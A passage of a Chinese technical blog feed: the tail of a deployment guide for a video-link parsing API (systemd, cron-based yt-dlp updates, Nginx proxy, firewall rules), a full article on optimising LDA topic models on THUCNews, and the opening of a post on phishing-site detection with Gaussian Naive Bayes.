User=www-data
Group=www-data
WorkingDirectory=/var/www/project-api
ExecStart=/var/www/project-api/venv/bin/python3 -m uvicorn main:app --host 127.0.0.1 --port 18000
Restart=always
RestartSec=3

[Install]
WantedBy=multi-user.target
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;启动并开机自启：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;systemctl daemon-reload
systemctl start streampick
systemctl enable streampick
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;自动化维护：应对平台算法迭代&lt;/h3&gt;
&lt;p&gt;短视频平台的加密协议具有高度不稳定性，依赖库的滞后会导致解析失效。系统通过自动化脚本实现了“零人工”维护。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;脚本逻辑设计&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;调用虚拟环境 &lt;code&gt;pip&lt;/code&gt; 执行 &lt;code&gt;-U yt-dlp&lt;/code&gt; 强制升级。&lt;/li&gt;
&lt;li&gt;将升级结果与当前时间戳追加至 &lt;code&gt;update.log&lt;/code&gt;，构建可追溯的运维日志。&lt;/li&gt;
&lt;li&gt;执行 &lt;code&gt;systemctl restart streampick&lt;/code&gt;，确保新版本的解析算法立即生效。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;编写自动化更新脚本&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在 &lt;code&gt;/var/www/streampick-api/&lt;/code&gt; 目录下创建 &lt;code&gt;update_ydl.sh&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;vim /var/www/streampick-api/update_ydl.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输入以下内容：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/bin/bash
# 进入项目目录
cd /var/www/stream-pick-api
# 使用虚拟环境内的 pip 完整路径进行更新，并记录日志
./streampick_env/bin/pip install -U yt-dlp &amp;gt;&amp;gt; /var/www/stream-pick-api/update.log 2&amp;gt;&amp;amp;1
# 更新完后重启服务，确保新版本生效
systemctl restart stream-pick
echo &quot;Update check at $(date)&quot; &amp;gt;&amp;gt; /var/www/stream-pick-api/update.log
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;保存退出后，赋予执行权限：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;chmod +x /var/www/stream-pick-api/update_ydl.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;配置 Cron 计划任务&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;使用 &lt;code&gt;crontab -e&lt;/code&gt; 来设置定时触发，在文件末尾添加一行（设定为&lt;strong&gt;每月 1 号的凌晨 3 点&lt;/strong&gt;执行）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0 3 1 * * /var/www/stream-pick-api/update_ydl.sh
# 0 3 1 * * 分别代表：第0分、第3时、每月1日、每月、每周。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用&lt;code&gt;crontab -l&lt;/code&gt;列出当前的计划任务验证设置是否成功。&lt;/p&gt;
&lt;h2&gt;生产环境部署&lt;/h2&gt;
&lt;p&gt;在完成前后端开发后，将系统推向生产环境（如阿里云 ECS）需要解决最后的架构兼容性问题。这不仅涉及反向代理的配置，还包括处理 HTTPS 强制校验下的资源加载异常。&lt;/p&gt;
&lt;h3&gt;流量分发：Nginx 的反向代理设计&lt;/h3&gt;
&lt;p&gt;为了隐藏后端真实端口并实现多业务共存，系统利用 Nginx 作为统一入口。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;路径映射逻辑&lt;/strong&gt;：通过 &lt;code&gt;location /v1/streampick/&lt;/code&gt; 块将外部流量导向本地 &lt;code&gt;18000&lt;/code&gt; 端口。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;关键配置&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;Nginx&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;location /v1/streampick/ {
    proxy_pass http://127.0.0.1:18000/; # 末尾斜杠实现路径剥离
    proxy_set_header X-Forwarded-Proto $scheme;
    # ... 其他 Header 配置
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;通过 &lt;code&gt;X-Forwarded-Proto&lt;/code&gt; 头部，Nginx 将外部请求的原始协议（HTTPS）告知后端 FastAPI，确保生成的资源链接与外部访问协议保持一致。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h3&gt;物理隔离：安全组与防火墙策略&lt;/h3&gt;
&lt;p&gt;生产环境的安全性依赖于最小化暴露面。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;端口收敛&lt;/strong&gt;：在阿里云控制台的安全组配置中，仅保留 &lt;code&gt;80&lt;/code&gt;（HTTP）和 &lt;code&gt;443&lt;/code&gt;（HTTPS）端口对公网开放。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;后端遮蔽&lt;/strong&gt;：解析服务的 &lt;code&gt;18000&lt;/code&gt; 端口仅允许 &lt;code&gt;127.0.0.1&lt;/code&gt; 访问，通过 Nginx 进行内部转发。这种设计切断了攻击者直接扫描并利用后端 API 漏洞的物理路径。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h3&gt;域名合规性：微信 downloadFile 白名单&lt;/h3&gt;
&lt;p&gt;微信小程序对资源下载有严格的白名单机制。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;动态域名挑战&lt;/strong&gt;：由于解析出的视频直链可能指向 &lt;code&gt;douyin.com&lt;/code&gt;、&lt;code&gt;weibo.com&lt;/code&gt; 或各平台的 CDN 域名，这些域名必须提前在小程序管理后台的“服务器域名”列表中备案。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;实战规避&lt;/strong&gt;：对于无法穷举的 CDN 域名，目前的生产实践通常是定期监测解析日志，将高频出现的域名批量加入白名单，或通过自建中转服务器（Proxy）实现固定域名下载。&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>LDA主题模型工程化优化策略与实验分析</title><link>https://blog.mal-suen.cn/posts/2025/11/219/</link><guid isPermaLink="true">https://blog.mal-suen.cn/posts/2025/11/219/</guid><description>本文以 THUCNews 中文新闻语料库为基准，采用严格的控制变量法与分层随机抽样技术，系统评估了 N-gram 特征提取、TF-IDF 词权重变换、先验知识注入及停用词过滤序列对模型一致性指标（$C_V$）的影响。</description><pubDate>Mon, 10 Nov 2025 21:27:41 GMT</pubDate><content:encoded>&lt;h2&gt;摘要&lt;/h2&gt;
&lt;p&gt;隐狄利克雷分配（Latent Dirichlet Allocation，LDA）作为一种经典的无监督概率生成模型，在海量文本数据的降维聚类、语义检索及主题发现领域仍具有明确的工业应用价值。2018 年发布的《LDA 文本主题建模：原理与代码实现》一文首次验证了该模型在短文本场景下的无监督发现能力（基准 $C_V = 0.5332$），并确立了“主题即词分布”与“文档生成假设”的工程认知。然而，将基于词袋模型（Bag-of-Words）的初始原型迁移至万级规模工业语料时，模型性能往往受到数据分布偏斜、预处理策略不当及变分推断欠拟合等因素的严重制约。&lt;/p&gt;
&lt;p&gt;本文以 THUCNews 中文新闻语料库为基准，采用严格的控制变量法与分层随机抽样技术，系统评估了 N-gram 特征提取、TF-IDF 词权重变换、先验知识注入及停用词过滤序列对模型一致性指标（$C_V$）的影响。实验结果表明：（1）传统的 TF-IDF 加权策略因破坏狄利克雷-多项共轭结构，会导致模型后验推断失效（$\Delta C_V \approx -0.14$）；（2）预处理流水线的执行顺序对特征质量具有决定性影响，“停用词过滤 $\rightarrow$ N-gram 提取”的序列可有效消除点互信息（PMI）计算中的句法噪声，实现一致性得分的正向提升；（3）针对 LDA 证据下界（ELBO）非凸优化导致的局部收敛问题，多随机种子（Multi-Seed）验证机制是消除评估偏差的必要手段。此外，本文探讨了在大语言模型（LLM）时代，LDA 凭借低成本、高隐私及数学确定性，在构建混合文本分析架构中仍具有不可替代的生态位。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;1. 引言与历史基线回顾&lt;/h2&gt;
&lt;h3&gt;1.1 理论起源与工程化演进&lt;/h3&gt;
&lt;p&gt;LDA 模型的核心逻辑可高度概括为两个基本假设：① &lt;strong&gt;主题即词分布&lt;/strong&gt;：每个主题表现为语义相关词的概率组合；② &lt;strong&gt;文档生成假设&lt;/strong&gt;：每篇文档由多个主题按特定比例混合，并从各主题词分布中独立抽样生成最终文本。该生成式假设使模型无需人工标注即可挖掘文本的潜在语义结构。&lt;/p&gt;
&lt;p&gt;在 2018 年的初始实践中，我们基于 &lt;code&gt;gensim&lt;/code&gt; 库构建了包含 &lt;code&gt;load_corpus&lt;/code&gt;、&lt;code&gt;build_dictionary_and_corpus&lt;/code&gt;、&lt;code&gt;train_model&lt;/code&gt; 等 7 个模块的面向对象管线。通过在 10 条已分词短文本（聚焦“春节联欢”与“股市波动”场景）上的测试，模型成功分离出高内聚主题词簇，并取得 $C_V = 0.5332$ 的一致性得分。该原型验证了 LDA 的可解释性与无监督聚类能力，但也暴露出工业应用初期的核心局限：高度依赖人工预设主题数（$K$ 值）、基于离散词频的词袋表示（BoW）易受分词碎片化干扰、单次随机种子训练缺乏统计稳定性。&lt;/p&gt;
&lt;h3&gt;1.2 问题陈述与研究目标&lt;/h3&gt;
&lt;p&gt;随着语料规模从 10 条扩展至 1.4 万篇真实新闻，原始管线的工程瓶颈被显著放大。中文语境下的分词边界歧义、高频停用词的共现干扰，以及 LDA 变分推断过程的非凸性，共同导致模型在工业场景中的性能波动。本文旨在通过一系列受控实验，剥离数据分布偏差的干扰，量化分析不同预处理策略的有效性边界，并对核心算法概念与失效机理进行系统性阐释，从而构建一套标准化的高置信度 LDA 训练流程。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;2. 核心概念与数学基础&lt;/h2&gt;
&lt;h3&gt;2.1 LDA 生成过程与概率图模型&lt;/h3&gt;
&lt;p&gt;LDA 是一种三层贝叶斯概率生成模型。给定文档集合 $D$ 与主题数 $K$，其形式化生成过程如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;全局主题-词分布&lt;/strong&gt;：对于每个主题 $k \in {1, \dots, K}$，从参数为 $\eta$ 的狄利克雷分布中采样生成 $\phi_k \sim \mathrm{Dir}(\eta)$，其中 $\phi_{k,v}$ 表示主题 $k$ 生成词 $v$ 的概率。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;文档级主题分布&lt;/strong&gt;：对于每篇文档 $d \in D$，从参数为 $\alpha$ 的狄利克雷分布中采样生成 $\theta_d \sim \mathrm{Dir}(\alpha)$，其中 $\theta_{d,k}$ 表示文档 $d$ 中主题 $k$ 的混合比例。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;词项生成&lt;/strong&gt;：对于文档 $d$ 中的第 $n$ 个词位置，首先采样主题 $z_{d,n} \sim \mathrm{Mult}(\theta_d)$，随后采样观测词 $w_{d,n} \sim \mathrm{Mult}(\phi_{z_{d,n}})$。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;模型的推断目标是计算后验概率 $P(\theta, z, \phi \mid w, \alpha, \eta)$。由于该后验分布的归一化常数（边缘似然）涉及对所有潜在主题分配路径的求和，计算复杂度随词汇表规模呈指数级增长，因此通常采用变分推断（Variational Inference）或吉布斯采样（Gibbs Sampling）进行近似求解。&lt;/p&gt;
&lt;h3&gt;2.2 狄利克雷-多项共轭结构（Dirichlet-Multinomial Conjugacy）&lt;/h3&gt;
&lt;p&gt;LDA 模型的高效推断依赖于狄利克雷分布与多项分布的共轭性质。在变分推断的坐标上升算法中，狄利克雷先验与多项似然函数相乘后，其后验分布仍保持狄利克雷形式，超参数更新严格依赖于&lt;strong&gt;词频的离散整数计数&lt;/strong&gt;。
具体而言，主题 $k$ 中词 $v$ 的后验超参数更新公式为：
$$ \eta_{k,v}^{\mathrm{post}} = \eta_{k,v}^{\mathrm{prior}} + \sum_{d,n} \mathbb{E}[z_{d,n}=k] \cdot \mathbb{I}(w_{d,n}=v) $$
该公式的物理意义是：在所有文档中，被推断归属于主题 $k$ 且实际观测为词 $v$ 的期望次数累加值。若输入数据被转换为连续实数权重（如 TF-IDF 或 Embedding），共轭先验的数学闭合性将被破坏，期望最大化（EM）算法的单调收敛性无法保证，进而导致变分下界震荡或模型退化。&lt;/p&gt;
&lt;h3&gt;2.3 主题一致性评估指标（$C_V$）的算法原理&lt;/h3&gt;
&lt;p&gt;传统主题模型评估常使用困惑度（Perplexity），但其仅衡量模型对持有集的生成概率拟合程度，与人类对主题语义连贯性的主观判断常呈负相关。本文采用 $C_V$ 一致性指标，其计算流程包含四个算法步骤：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;滑动窗口共现统计&lt;/strong&gt;：在大规模参考语料库上滑动固定大小的窗口（通常 110 词），构建词-词共现矩阵 $C$。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;归一化点互信息（NPMI）计算&lt;/strong&gt;：基于共现矩阵计算词对 $(w_i, w_j)$ 的 NPMI 值，衡量词汇在局部上下文中的语义关联强度。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;奇异值分解（SVD）降维&lt;/strong&gt;：对 NPMI 矩阵进行截断 SVD 分解（通常保留 300 维），提取低维稠密词向量表示，消除高频停用词带来的噪声维度。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;余弦相似度聚合&lt;/strong&gt;：计算主题 Top-N 词向量两两之间的平均余弦相似度，作为该主题的一致性得分。$C_V$ 值域为 $[0, 1]$，分数越高表明主题内词汇在统计语义空间中的内聚性越强。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;2.4 变分推断的非凸优化特性&lt;/h3&gt;
&lt;p&gt;LDA 的变分推断通过最大化证据下界（Evidence Lower Bound，ELBO）来近似真实后验分布。ELBO 函数关于变分参数（文档-主题分布 $\gamma$ 与主题-词分布 $\lambda$）是非凸的，参数空间中存在大量局部极值点（Local Optima）。算法的收敛轨迹与最终落点高度依赖于变分参数的初始化状态。不同的随机种子（Random State）会生成不同的初始超参数，使优化过程落入不同的吸引域（Basin of Attraction）。这是导致 LDA 单次实验结果存在方差、缺乏统计可复现性的根本数学原因。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;3. 实验设计与数据规范化&lt;/h2&gt;
&lt;h3&gt;3.1 数据集特征与分层随机抽样&lt;/h3&gt;
&lt;p&gt;实验基准数据集采用 THUCNews 中文新闻语料库，涵盖体育、娱乐、科技、财经等 14 个一级分类。为消除 2018 年原型中“样本量过小导致先验失真”的问题，并避免工业语料常见的类别比例失衡，实验采用**分层随机抽样（Stratified Random Sampling）**策略。具体而言，从 14 个类别中分别独立抽取 1,000 篇文档，确保各类别样本量绝对均衡。随后，在构建语料库字典前对全量样本执行全局随机打乱（Global Shuffle），最终生成包含 14,000 篇文档的标准测试集。&lt;/p&gt;
&lt;h3&gt;3.2 评估指标与基线设定&lt;/h3&gt;
&lt;p&gt;模型性能评估采用 $C_V$ 一致性得分。基线模型（Baseline）严格继承 2018 年原型的参数配置逻辑，并适配工业规模：主题数 $K = 14$（对应语料自然类别数），对称 Dirichlet 先验 $\alpha = 1/K$，词典过滤阈值 &lt;code&gt;no_below=5&lt;/code&gt;（剔除文档频率低于 5 的极低频词）与 &lt;code&gt;no_above=0.5&lt;/code&gt;（剔除出现在超过 50% 文档中的极高频词），单次训练迭代轮数（Passes）初始设定为 10。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;4. 优化策略有效性分析与失效机理&lt;/h2&gt;
&lt;p&gt;在探索模型优化的过程中，多项在文本分类任务中常用的 NLP 技术被引入 LDA 流程。控制变量实验显示，部分策略因违背 LDA 的数学假设或引入结构性噪声，导致模型性能显著衰退。&lt;/p&gt;
&lt;h3&gt;4.1 N-gram 提取的序列依赖性与 PMI 噪声控制&lt;/h3&gt;
&lt;p&gt;N-gram 技术旨在解决中文分词导致的复合概念碎片化问题（如将“人工智能”拆分为“人工”和“智能”）。&lt;code&gt;gensim.models.Phrases&lt;/code&gt; 通过计算词对的点互信息（PMI）来识别强共现词组。PMI 的定义公式为：
$$ \mathrm{PMI}(w_1, w_2) = \log_2 \frac{P(w_1, w_2)}{P(w_1)P(w_2)} $$&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;失效模式分析&lt;/strong&gt;：若在停用词过滤之前直接应用 Bigram 提取，高频虚词（如“的”、“了”、“我们”）会与实词发生高频共现。由于虚词的边缘概率 $P(w_{\mathrm{stop}})$ 极大，其与实词共现的联合概率 $P(w_{\mathrm{stop}}, w_{\mathrm{content}})$ 亦随之升高，导致 PMI 算法误判为强关联，生成如“已经—表示”、“我们—的”等无实质语义的句法组合。此类噪声词汇大量占据词表空间，导致主题-词分布矩阵的稀疏性被破坏。在实验中，该操作导致 $C_V$ 得分由基线的 0.5902 下降至 0.5435。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;优化路径&lt;/strong&gt;：构建严格的串行流水线——&lt;strong&gt;[原始分词 $\rightarrow$ 停用词清洗 $\rightarrow$ N-gram 提取]&lt;/strong&gt;。在移除噪声词后，Bigram 算法仅捕捉实词间的强共现关系（如“人工智能—技术”、“信用卡—还款”）。其带来的语义完整性增益成功抵消了词频统计上的稀疏性惩罚，使 $C_V$ 得分呈现显著回升。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4.2 TF-IDF 加权对共轭先验结构的破坏&lt;/h3&gt;
&lt;p&gt;为提升低频关键特征的权重，抑制常见词的统治地位，实验尝试在 LDA 训练前引入 TF-IDF 变换。然而，该操作导致 $C_V$ 得分断崖式下跌至 0.4630。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;机理分析&lt;/strong&gt;：如 2.2 节所述，LDA 的概率推导建立在狄利克雷-多项共轭假设之上。TF-IDF 将离散的词频计数映射为连续的实数权重，这一变换直接破坏了模型的数学基础。在变分推断的 E-Step 中，期望更新公式依赖整数计数来更新狄利克雷超参数；当输入为浮点权重时，框架内部通过归一化处理将其强制近似为概率分布，但这引入了巨大的信息失真。此外，TF-IDF 倾向于放大仅在少数文档中出现的生僻词权重，这类词汇在语料中缺乏足够的共现样本（Co-occurrence Evidence），导致基于共现矩阵计算的 $C_V$ 相似度指标失效。&lt;/p&gt;
&lt;h3&gt;4.3 强制先验注入（Prior Injection）的同质化效应&lt;/h3&gt;
&lt;p&gt;为了引导模型关注特定领域，实验尝试通过修改主题-词分布的超参数 $\eta$ 矩阵，人为提升 Top-100 高频词的初始权重。实验表明，强干预导致模型陷入退化状态（Degeneracy），$C_V$ 降至 0.4999。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;原因探究&lt;/strong&gt;：LDA 的核心优势在于无监督地发现数据的潜在结构。强制改变自然共现分布迫使模型将语义不相关的词汇聚合，导致所有主题的概率分布趋于同质化（Homogenization），丧失了区分度。这种“有监督”的干预破坏了贝叶斯框架下的后验推断过程。在变分推断的迭代中，过高的初始 $\eta$ 值会压制数据似然项的贡献，导致 ELBO 优化过早收敛至平坦的局部极值，使得模型不再反映数据的真实分布，而是反映了人为设定的偏差。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;5. 高置信度验证实验与方差来源剖析&lt;/h2&gt;
&lt;p&gt;LDA 模型的参数空间存在大量局部最优解。单次实验的结果往往受限于特定的随机初始化路径。为验证优化策略的普适性，本实验在多随机种子下进行了独立重复试验。&lt;/p&gt;
&lt;h3&gt;5.1 实验设置&lt;/h3&gt;
&lt;p&gt;基于前述确定的最佳流水线（分层抽样 $\rightarrow$ 停用词清洗 $\rightarrow$ Bigram $\rightarrow$ LDA），将训练迭代轮数提升至 &lt;strong&gt;Passes=20&lt;/strong&gt;，分别以 Seed=42, 88, 99 执行三次独立训练。所有实验环境（CPU 核心、内存、Gensim 版本）保持严格一致。&lt;/p&gt;
&lt;h3&gt;5.2 实验数据对比&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;实验编号&lt;/th&gt;
&lt;th&gt;随机种子（Seed）&lt;/th&gt;
&lt;th&gt;$C_V$ 得分&lt;/th&gt;
&lt;th&gt;训练耗时（s）&lt;/th&gt;
&lt;th&gt;评价&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Run A&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;42&lt;/td&gt;
&lt;td&gt;0.5947&lt;/td&gt;
&lt;td&gt;126.4&lt;/td&gt;
&lt;td&gt;收敛至次优解&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Run B&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;88&lt;/td&gt;
&lt;td&gt;0.6314&lt;/td&gt;
&lt;td&gt;125.1&lt;/td&gt;
&lt;td&gt;正常收敛区间&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Run C&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;99&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0.6505&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;123.9&lt;/td&gt;
&lt;td&gt;达到局部最优峰值&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;统计学结果&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Mean $\pm$ Std&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0.6245 $\pm$ 0.0229&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;td&gt;置信区间稳定&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;5.3 方差来源的非凸优化归因&lt;/h3&gt;
&lt;p&gt;三次运行的标准差为 0.0229，极差达 0.056。这种波动源于 LDA 求解过程的非凸性。在使用变分推断求解时，算法寻找的是证据下界（ELBO）的局部极大值。不同的随机种子初始化主题-词分布矩阵 $\phi$，使算法收敛至参数空间的不同局部极值点。在语义重叠度较高的类别（如科技与财经、体育与娱乐）中，边缘词（如“比赛”、“投资”）的归属差异会直接放大主题一致性得分的方差。尽管存在随机波动，优化后流水线的平均得分（0.6245）在统计意义上显著高于基线（0.5902）。Run C 达到的 0.6505 验证了该优化方案在充分收敛条件下的理论上限。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;6. 大语言模型时代的 LDA：价值重估与应用范式&lt;/h2&gt;
&lt;p&gt;随着基于 Transformer 架构的大语言模型（LLM，如 GPT-4、DeepSeek 等）在语义理解、文本摘要及零样本分类任务中展现出统治级性能，传统概率主题模型（如 LDA）的应用空间受到显著挤压。然而，在工业界的实际落地中，LDA 并未被淘汰，而是在特定的工程约束下展现出了独特的比较优势。&lt;/p&gt;
&lt;h3&gt;6.1 计算经济性与规模扩展性（Scalability）&lt;/h3&gt;
&lt;p&gt;LLM 的推理成本与输入 Token 数量呈强线性相关。面对百万级甚至亿级规模的历史文档库，调用 API 进行全量主题分析的成本极其高昂，且受限于请求速率限制（Rate Limiting）。
相比之下，LDA 模型基于纯数学的矩阵运算，其时间复杂度约为 $O(K \cdot D \cdot L)$（$K$ 为主题数，$D$ 为文档数，$L$ 为平均长度）。LDA 能够以极低的算力成本（仅需 CPU 即可运行）在数小时内处理千万级文档。在大规模数据的探索性分析（EDA）阶段，LDA 提供了极具性价比的“粗筛”能力。&lt;/p&gt;
&lt;h3&gt;6.2 数据主权与隐私合规（Data Sovereignty）&lt;/h3&gt;
&lt;p&gt;在金融、军工、医疗及政务等对数据隐私有极高要求的领域，数据出域受到严格的法律合规限制。LLM 通常依赖云端推理，存在潜在的数据泄露风险；尽管私有化部署 LLM 是可行方案，但这需要昂贵的 GPU 集群支持。
LDA 模型完全本地化运行，无需依赖外部网络连接。对于算力受限且对数据隐私“零容忍”的场景，LDA 是保障数据主权的最佳选择。&lt;/p&gt;
&lt;h3&gt;6.3 数学确定性与可解释性（Determinism）&lt;/h3&gt;
&lt;p&gt;LLM 基于自回归生成机制，具有概率采样的随机性（幻觉问题），其输出结果难以完全复现，且推理过程类似“黑盒”。
LDA 基于严格的贝叶斯概率推断，生成的文档 - 主题分布矩阵（$\theta$）和主题 - 词分布矩阵（$\phi$）是确定的数值解。这种结构化的输出不仅完全可解释（每个词的贡献度精确可见），而且易于直接对接下游的数值分析系统（如推荐系统的 Embedding 初始化、舆情趋势的时间序列分析）。&lt;/p&gt;
&lt;h3&gt;6.4 最佳实践：LDA + LLM 混合架构（The Funnel Architecture）&lt;/h3&gt;
&lt;p&gt;在现代 NLP 管线中，LDA 与 LLM 并非零和博弈，而是互补关系。一种高效的混合架构是**“漏斗式处理”**：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;第一层（LDA 聚类）&lt;/strong&gt;：利用 LDA 对海量非结构化数据进行降维和粗粒度聚类，将 $N$ 篇文档归约为 $K$ 个主题簇。此步骤成本几乎为零。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;第二层（LLM 标注）&lt;/strong&gt;：仅针对提取出的 $K$ 个主题簇的高频关键词，调用 LLM 生成易读的主题摘要、标签或进行细粒度情感分析。
该架构将 LLM 的调用次数从“文档级（百万次）”断崖式降低至“主题级（几十次）”，兼顾了统计模型的规模效应与大模型的语义深度。&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;7. 结论与工程部署规范&lt;/h2&gt;
&lt;p&gt;基于控制变量实验与高置信度验证结果，LDA 模型的性能提升不依赖于复杂的算法改造，而取决于数据预处理流程的严谨性与训练参数的合理配置。针对 2018 年原型中提出的“需人工预设 $K$ 值”与“词袋表示局限”等问题，工程部署应遵循以下标准化操作规范（SOP）：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;数据分层与打乱&lt;/strong&gt;：严禁按物理存储顺序截取语料。必须采用分层随机抽样保证类别比例恒定，并在输入模型前进行全局 Shuffle 以消除批次效应。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;严格序列化预处理&lt;/strong&gt;：停用词过滤必须在 N-gram 提取之前执行。未清洗虚词直接进行词组合并会引入结构性 PMI 噪声，导致共现矩阵质量下降。任何试图在未清洗数据上强行提取 N-gram 的操作均会导致模型信噪比的不可逆下降。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;多种子验证机制&lt;/strong&gt;：由于非凸优化的固有特性，单次运行结果不具备统计代表性。生产环境部署前应至少执行 3 次独立训练（不同随机种子），以 $C_V$ 得分最高且主题词人工解释性最强的模型作为最终输出。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;迭代轮数收敛控制&lt;/strong&gt;：对于万级规模的文档语料，&lt;code&gt;Passes=10&lt;/code&gt; 通常不足以使变分下界收敛。建议将迭代轮数设定为 20 及以上，以消除欠拟合带来的性能瓶颈。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;避免过度干预&lt;/strong&gt;：慎用 TF-IDF 和强行先验注入。保持输入数据的离散计数特性与狄利克雷-多项共轭结构，是维持 LDA 后验推断稳定性的数学前提。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;通过遵循上述规范，工程团队可有效规避常见的模型退化陷阱，确保 LDA 在垂直领域文本结构化任务中发挥最大的统计效能与可解释性价值，并在大模型时代的混合架构中找到其不可替代的生态位。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;参考文献&lt;/h2&gt;
&lt;p&gt;[1] Blei, D. M., Ng, A. Y., &amp;amp; Jordan, M. I. (2003). Latent dirichlet allocation. &lt;em&gt;Journal of Machine Learning Research&lt;/em&gt;, 3(Jan), 993-1022.
[2] Mal-Suen. (2018, May 19). LDA 文本主题建模：原理与代码实现. &lt;em&gt;Mal-Suen&apos;s Blog&lt;/em&gt;. Retrieved from /2018/05/19/
[3] Röder, M., Both, A., &amp;amp; Hinneburg, A. (2015). Exploring the space of topic coherence measures. &lt;em&gt;WSDM &apos;15&lt;/em&gt;, 399-408.
[4] Hoffman, M. D., Blei, D. M., &amp;amp; Bach, F. (2010). Online learning for latent dirichlet allocation. &lt;em&gt;NeurIPS&lt;/em&gt;, 23, 856-864.
[5] Zhao, W. X., et al. (2024). A Survey on Large Language Models: Challenges and Opportunities. &lt;em&gt;ACM Computing Surveys&lt;/em&gt;.&lt;/p&gt;
</content:encoded></item><item><title>基于特征标准化流水线与高斯朴素贝叶斯的恶意网站识别研究</title><link>https://blog.mal-suen.cn/posts/2025/09/207/</link><guid isPermaLink="true">https://blog.mal-suen.cn/posts/2025/09/207/</guid><description>针对现代网络钓鱼攻击的高频与隐蔽特性，本文提出了一种基于高斯朴素贝叶斯（Gaussian Naive Bayes）的自动化识别模型，并引入特征标准化流水线（Standardization Pipeline）解决了多量纲数值特征导致的预测偏差问题。实验采用包含 23.5 万样本的 PhiUSIIL 数据集，通过对 54 项 URL 维度特征的深度挖掘与预处理优化，模型在测试集上表现卓越。结果显示，优化后的流水线模型召回率（Recall）保持在 99.96%，误报数（False Positives）从原始数据的 687 例锐减至 17 例，ROC-AUC 达到 0.9998。该研究证明了轻量级生成式模型在经过严格特征工程处理后，能够在大规模实时检测场景中兼顾高精度与低延迟。 </description><pubDate>Sat, 20 Sep 2025 05:29:39 GMT</pubDate><content:encoded>&lt;p&gt;针对现代网络钓鱼攻击的高频与隐蔽特性，本文提出了一种基于高斯朴素贝叶斯（Gaussian Naive 